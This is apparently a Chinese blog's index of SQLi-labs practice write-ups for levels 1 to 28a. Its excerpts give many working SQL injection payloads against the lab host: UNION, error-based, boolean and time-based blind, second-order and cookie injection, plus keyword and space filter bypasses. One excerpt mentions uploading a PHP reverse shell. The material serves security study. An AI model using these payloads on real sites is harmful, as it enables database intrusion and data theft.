![](https://img-blog.csdnimg.cn/20200706234441753.jpg?x-oss-process=image/resize,m_fixed,h_224,w_224)
sqlilabs
sql 注入练习
CrAcKeR-1
伸手摘星,即使徒劳无功,亦不至满手污泥。
展开
-
Sqlilabs-28a
28a 在这里????原创 2020-07-14 12:28:35 · 212 阅读 · 0 评论 -
Sqlilabs-28
因为是 Winodws 那就盲注吧,这跟 26a27a 关卡一样, payload 改改就可以用了,这一关同样把报错信息给过滤了,所以报错注入用不了:–查表http://sqlilabs/Less-28/?id=1')and(if(ascii(substr((SeLect(table_name)from(SeLect(table_name),(table_rows)from(information_schema.tables)where(table_schema=database())and(tabl原创 2020-07-14 12:27:14 · 433 阅读 · 0 评论 -
sqlilabs-27a
又是盲注,只需要把 26a 关卡 payload 改改就可以用了,这一关把报错信息给过滤了,所以报错注入用不了:–查表http://sqlilabs/Less-27a/?id=1"and(if(ascii(substr((SeLect(table_name)from(SeLect(table_name),(table_rows)from(information_schema.tables)where(table_schema=database())and(table_rows=14))a),1,1))原创 2020-07-14 12:26:32 · 398 阅读 · 0 评论 -
Sqlilabs-27
题目告诉我们本关卡过滤了 union 和 select,其实还有空格,这一关也过滤了尝试双写绕过,不行那就大小写绕过,成功–查表http://sqlilabs/Less-27/?id=1'and(extractvalue(1,concat(0x7e,(SeLect(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),0x7e)))and'1'='1–查列http://s.原创 2020-07-14 12:26:01 · 814 阅读 · 0 评论 -
Sqlilabs-26
来到了 Sqlilabs 大魔王的第 26 关关卡…来到页面就看到大大的,“你的所有空格和过滤符都属于我们“,这难得到机智的你吗?在此说下常见的绕过方法有:(本来这应该在 25 关卡就说的,忘了…)双写绕过大小写绕过编码绕过,如:hex || URL注释符绕过,如:/!select/替换:如 and 可替换为 && ,or 可替换为 ||空格的话我们可以 url 绕过:%a0 || %0b 等等,过滤字符我们可以用 and || or 替代有了上述的神兵利器,那就很原创 2020-07-14 12:25:32 · 2295 阅读 · 2 评论 -
Sqlilabs-25a
本关卡和 25 关的区别在于连单引号都省去了…http://sqlilabs/Less-25a/?id=1 报错http://sqlilabs/Less-25a/?id=1--+ 正常http://sqlilabs/Less-25a/?id=1 ordery by 3--+ 报错原因是 order 里面含有 or双写绕过:oorrderhttp://sqlilabs/Less-25a/?id=1 oorrder by 3--+ 正确http://sqlilabs/Less-2.原创 2020-07-14 12:25:00 · 293 阅读 · 0 评论 -
Sqlilabs-25
这一关来到了 25 关一进入界面就看到大大的你的所有 ‘or’ 和 ‘and’ 都属于我们,这就需要我们绕过了…http://sqlilabs/Less-25/?id=1' 报错http://sqlilabs/Less-25/?id=1'--+ 正常http://sqlilabs/Less-25/?id=1' ordery by 3--+ 报错原因是 order 里面含有 or双写绕过:oorrderhttp://sqlilabs/Less-25/?id=1' oorrder原创 2020-07-14 12:24:30 · 313 阅读 · 0 评论 -
Sqlilabs-24
这一关来到了二次注入的世界:所谓的二次注入简单一句话:就是你在一个身份下面可以改其它身份的密码(数据)不过在此之前想尝试一下报错注入在修改密码可不可以成功:???让我更聪明更努力点???ok,fine…那就二次注入吧…后台的修改密码的 SQL 语句如下:试想,如果在注册的时候,就写入一个带过滤后边 SQL 与的字符的用户名会怎么样呢?比如:admin’#SQL 语句就变成了:UPDATE users SET PASSWORD='$pass' where username= 'admi原创 2020-07-14 12:24:00 · 776 阅读 · 0 评论 -
Sqlilabs-23
第 23 关对注入字符做了正则表达式的过滤,所以需要在引号上下功夫:http://sqlilabs/Less-23/?id=1' and '1知道了原理构造起来就很简单了:–查表http://sqlilabs/Less-23/?id=-1' union select 1,(select group_concat(table_name) from informatIon_schema.tables where table_schema=database()),3 and '1' = '1简化:.原创 2020-07-14 12:23:31 · 550 阅读 · 1 评论 -
Sqlilabs-22
这里来到了第一阶段的最后一关:22 关其实跟 21 关一样,只不过变成了双引号 " 而已,直接上菜吧o( ̄▽ ̄)ブuname=YWRtaW4iIGFuZCBleHRyYWN0dmFsdWUoMSxjb25jYXQoMHg3ZSwoc2VsZWN0IGRhdGFiYXNlKCkpLDB4N2UpKSM=uname=admin" and extractvalue(1,concat(0x7e,(select database()),0x7e))#怎么猜单引号加括号,这里当你构造好 payload pos原创 2020-07-09 16:51:54 · 395 阅读 · 0 评论 -
Sqlilabs-21
来到了第 21 关,看着 21 关,我知道,第一阶段快结束了,马上要到…啪…给我认真写博文…这一关卡的题目给内容貌似一点都不符合…还是得从 cookie 下手,但肯定不跟20 关一样,通过提交正常的数据,我们可以看到,COOKIE 长的有点不太一样…Base64Decode 解码 YWRtaW4= 得到的结果是 admin,所以说后台将 COOKIE 进行了 Base64 的编码,所以构造 payload 时,应该在 cookie 类似于:[得先正确登入]uname=YWRtaW4nKSBhbm原创 2020-07-09 16:51:24 · 626 阅读 · 0 评论 -
Sqlilabs-20
十大关一关卡,小试牛刀来到了第 20 关:本关还是在 HTTP HEADRE 做文章,具体为 COOKIE先输入正确的用户名和密码,进入界面看看:通过观察我们可以看到具体的 payload 该如何构造把 hackbar 的 cookie 栏调出来:–查表uname=admin' and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=databas原创 2020-07-09 16:50:57 · 593 阅读 · 0 评论 -
Sqlilabs-19
第 19 关跟第 18 关类似,User-Agent 改成了 Referer 改造注入–Referer“浏览器向 WEB 服务器表明自己是从哪个网页 /URL 获得/点击 当前请求中的网址/URL”同样的,这一关对 usernanme 和 password 都进行了 check_inputhackbar 制作针对 referer 的 payload:–查表1' and extractvalue(1,concat(0x7e,(select table_name from information_原创 2020-07-09 16:50:20 · 351 阅读 · 0 评论 -
Sqlilabs-18
来到了 18 关18 关同样也是在 UPDATE 上面做手脚,但是限制更加严格,不仅对 username 对 password 也做了 check_input再看看后台 SQL 语句的构造:insert="INSERTINTO‘security‘.‘uagents‘(‘uagent‘,‘ipaddress‘,‘username‘)VALUES(′insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`)原创 2020-07-09 16:49:50 · 884 阅读 · 0 评论 -
Sqlilabs-17
来到了 17 关,从这关开始刚学习需要借助源码来配合学习,本关学习内容是 update 内容从源码中可以看到,开发者的意图流程是:首先查询用户名相匹配的 users 表中 数据,所以这里如果需要注入首先得有一个在数据库中已经有了的用户名,若是现实挖掘漏洞过程中这,如果可以,可以先自己先注册一个,这下在数据库中就躺着了一个可利用的用户名和密码…,没有的话可以盲猜,如一般都有 admin guest等等可以直接利用的…继续往下看源码,你会发现 username 身上加了个check_input,转到原创 2020-07-07 11:59:00 · 857 阅读 · 1 评论 -
Sqlilabs-16
相较于第 15 关,单引号变成了双引号 + 括号–查列uname=admin") and if(ascii(substr((select group_concat(table_name) from information_schema.tables limit 0,1),1,1))>10,sleep(5),1)#&passwd=111&submit=submit–查用户名uname=admin") and if(ascii(substr((select group_conca原创 2020-07-07 11:58:29 · 456 阅读 · 0 评论 -
Sqlilabs-15
这一关来到了第 15 关,值得注意的是,这一关是布尔和时间盲注的结合关,很好玩哦~因为有时间盲注,这里就直接上菜了,下面是几个例子–查表uname=admin' and if(ascii(substr((select group_concat(table_name) from information_schema.tables limit 0,1),1,1))>10,sleep(5),1)#&passwd=111&submit=submit–查列uname=admin' a原创 2020-07-07 11:57:56 · 840 阅读 · 1 评论 -
Sqlilabs-14
这里来到了第 14 关,题目是个忽悠,说是单引号+括号,整的跟 13 关一样但其实就是个大忽悠在 Hackbar 上做注入,这一关 hackbar 又可以用了…这是属于哪波操作?uname=admin'&passwd=111&submit=submit 回显正常[这时你就知道题目忽悠人了]uname=admin"&passwd=111&submit=submit 回显报错[说明是双引号的人,没错了]uname=admin"#&passwd=111原创 2020-07-07 00:03:40 · 496 阅读 · 0 评论 -
Sqlilabs-13
还记得第 5 关跟第 6 关的双查询注入吗?(其实本质就是盲注),有了 5 6 关卡的基础,再来玩 13 关就很轻松了…不过这里倒是有小小的疑惑…就是 hackbar 在这关没有效果,必须得在方框内输入才可以…payload 我拿到 5 6 关卡试过了都是有效的…这就很奇怪了,连最简单的 order by 都不返回任何报错信息…这关就食用原生态方式吧password 可以随便输入,这里只构造 username 的:admin') order by 3# 报错admin') order by原创 2020-07-07 00:02:24 · 374 阅读 · 0 评论 -
Sqlilabs-12
这里到了 12 关,是 11 关的练习版本,只不过是把单引号换成了 双引号 + 括号,其余的都是一样的。这里仍然以 hackbar 为例构造 payload:uname=admin") order by 3#&passwd=1&submit=submituname=admin") order by 2#&passwd=1&submit=submituname=-admin") union select 1,2#&passwd=1&submit=sub.原创 2020-07-07 00:01:47 · 303 阅读 · 0 评论 -
Sqlilabs-11
从第 11 关开始我们进入了 POST 环节,什么是 POST ,POST 就是数据从客户端提交到服务端,例如在这个关卡中,我们就是将用户名和密码以表单的形式提交给服务器,然后服务器再进行验证。如图,在 Hackbar 我们需要构造 uname passwd submit 三样东西,其实这跟我们做的第一关没什么差别,只是换了个地方构造 payload 而已,或者你可以不用 hackbar ,直接在输入框里输入构造 payload 也是可以的。这里就以 hackbar 为例构造 payload:.原创 2020-07-07 00:01:08 · 273 阅读 · 0 评论 -
Sqlilabs-10
第 10 关是也基于时间的盲注,跟第 9 关一样,只不过单引号 ’ 变成了双引号 " 而已思路大致如下:count(*)得到表个数 --> 各个表长度 --> 猜测表名count(*)得到列个数 --> 各个列长度 --> 猜测列名得到数据的思路同上↑这里提供几个正确的 payload :得到第一张表的第一个字母:http://sqlilabs/Less-10/?id=1" and if(ascii(substr((select table_name from inf原创 2020-07-07 00:00:37 · 269 阅读 · 0 评论 -
Sqlilabs-9
第九关是基于时间的盲注,所以这里放过程图片没啥卵用了,直接上payload思路大致如下:count(*)得到表个数 --> 各个表长度 --> 猜测表名count(*)得到列个数 --> 各个列长度 --> 猜测列名得到数据的思路同上↑这里提供几个正确的 payload :得到第一张表的第一个字母:http://sqlilabs/Less-9/?id=1' and if(ascii(substr((select table_name from information_原创 2020-07-07 00:00:05 · 490 阅读 · 0 评论 -
Sqlilabs-8
第 8 关来到了盲注首先得介绍盲注相关知识:什么是盲注?盲注就是在 sql 注入过程中数据不能回显到前端页面。此时,我们就要猜,猜的过程就是盲注。盲注的类型有哪些?基于时间的盲注基于布尔的盲注基于报错的盲注对三类盲注的详细说明基于时间,怎么个基于时间?其实就是也有点布尔的意思,并且还需要结合布尔,如果我这样注入,猜测是对是错,由时间来做抉择,如果是对,延迟几秒再显示页面,如果是错,就正常显示页面。基于布尔,怎么个基于布尔?其实跟时间很像,只不过做裁决的不再是时间,而是返回的数据本原创 2020-07-06 23:51:32 · 700 阅读 · 0 评论 -
Sqlilabs-7
题目说是上传文件,可以上传一个 php 反弹 shell,kali 开启 nc 连上就 OKhttp://sqlilabs/Less-7/?id=1' 回显报错http://sqlilabs/Less-7/?id=1'--+ 回显报错http://sqlilabs/Less-7/?id=1')--+ 回显报错http://sqlilabs/Less-7/?id=1'))--+ 回显正常http.原创 2020-07-06 23:50:15 · 677 阅读 · 1 评论 -
Sqlilabs-6
第 6 关跟第 5 关一样,只不过是单引号换成了双引号而已构造 ID 后,显示的内容为:You are in…http://sqlilabs/Less-6/?id=1 回显正常http://sqlilabs/Less-6/?id=1' 回显正常http://sqlilabs/Less-6/?id=1" 回显正常http://sqlilabs/Less-6/?id=1"--+ 回显正常因为正常时返回的内容为 You are in…无法从返回结果原创 2020-07-06 23:49:42 · 859 阅读 · 0 评论 -
Sqlilabs-5
这一节引入了新的概念:双查询其利用的原理就是:有研究人员发现,当聚合函数和分组函数,随机函数,取整函数联合使用时会报错,其报错内容会将查询的内容显示出来。第五关就是基于这个原理。在这里先讲述几个概念:双查询:顾名思义就是包含一个子查询的查询select concat((select database()))取整函数:select floor(0.11111)将取整为 0随机函数:select rand()将产生一范围在0~1的随机数聚合函数:如 count分组函数:group by,比如查询原创 2020-07-06 23:48:45 · 545 阅读 · 0 评论 -
Sqlilabs-4
http://sqlilabs/Less-4/?id=1 回显正常http://sqlilabs/Less-4/?id=1' 回显正常http://sqlilabs/Less-4/?id=1" 回显报错报错信息表明还有个括号:http://sqlilabs/Less-4/?id=1")--+ 回显正常接下来又是一波常规操作:http://sqlilabs/Less-1/?id=1") order by 3--+http://sqlilabs/Less-1/?id=1".原创 2020-07-06 23:48:08 · 128 阅读 · 0 评论 -
Sqlilabs-3
题目即为提示:Get类型+基于错误的注入+单引号+括号+string可大概猜测开发者所使用的代码是:SELECT LOGIN_NAME,PASSWPRD,FROM TABLE WHERE ID = ('OUR INPUT HERE')直接构造,不报错,去掉–+报错:http://sqlilabs/Less-3/?id=-1')--+接下来又是常规操作:http://sqlilabs/Less-3/?id=1') order by 3--+http://sqlilabs/Less-3/?i原创 2020-07-06 23:47:24 · 170 阅读 · 0 评论 -
Sqlilabs-2
由题目可知:说的是基于数字的错误注入,当增加一个单引号 ’ 时,会报错:所以我们可以得到一个结果,就是当我们查询数据库的时候,查询代码使用了整数,就是说你必须是整数,别的不行,这时候可以使用 %27 或者 --+ 把剩余的注释掉,然后常规操作http://sqlilabs/Less-2/?id=1 order by 3--+http://sqlilabs/Less-2/?id=1 order by 4--+http://sqlilabs/Less-2/?id=-1 union select 1原创 2020-07-04 10:26:14 · 155 阅读 · 0 评论 -
Sqlilabs-1
这是 Sqlilabs 注入练习的第一节:Dhttp://sqlilabs/Less-1/提示我们构造 IDhttp://sqlilabs/Less-1/?id=1构造之后得到:尝试往 id 后边输入 ’ ,表明可能存在 SQL 注入http://sqlilabs/Less-1/?id=1'可用 #(%27) 或者 --+ 省略后面字符,再次回显正常结果:此处可以利用 order by,对前面的数据进行排序,观察临界值,临界值就是我们最多能够掌控的。3 列时回显仍然正常,4 开始报原创 2020-07-04 10:25:01 · 207 阅读 · 0 评论